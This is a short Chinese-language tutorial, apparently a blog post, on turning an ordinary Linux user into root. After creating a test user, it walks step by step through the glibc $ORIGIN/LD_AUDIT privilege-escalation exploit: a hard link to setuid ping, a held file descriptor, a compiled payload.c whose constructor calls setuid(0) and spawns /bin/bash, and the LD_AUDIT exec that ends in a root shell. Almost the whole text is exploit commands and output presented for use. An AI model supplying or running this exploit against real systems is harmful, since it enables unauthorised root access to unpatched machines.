linux为用户提权,Linux中普通用户提权为超级用户

首先建立一个普通用户，而且给普通用户设置一个密码，保证能用su 命令能用普通用户登陆vim

[root@ahu ~]# useradd test

[root@ahu ~]# passwd test

New password:

Retype new password:

passwd: all authentication tokens updated successfully.

[root@ahu ~]# su - test

[test@ahu ~]$ whoami

test //登录到普通用户，发现建立不了其余用户

[test@ahu ~]$ useradd aaa

-bash: /usr/sbin/useradd: Permission denied

进行身份变换

[test@ahu ~]$ mkdir /tmp/exploit

[test@ahu ~]$ ln /bin/ping /tmp/exploit/target

[test@ahu exploit]$ exec 3< /tmp/exploit/target

[test@ahu exploit]$ ls -l /proc/$$/fd/3

lr-x------ 1 test test 64 Aug 17 21:41 /proc/35612/fd/3 -> /tmp/exploit/target

[test@ahu exploit]$ rm -rf /tmp/exploit/

[test@ahu exploit]$ ls -l /proc/$$/fd/3

[test@ahu ~]$ vim payload.c

void __attribute__((constructor)) init() //在配置文件加入以下的内容

{

setuid(0);

system("/bin/bash");

}

~

[test@ahu ~]$ gcc -w -fPIC -shared -o /tmp/exploit payload.c

[test@ahu ~]$ ls -l /tmp/exploit

[test@ahu ~]$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3

Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]

[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]

[-M mtu discovery hint] [-S sndbuf]

[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination

[root@ahu ~]# whoami

root

发现身份变成了 root用户。身份变换成功！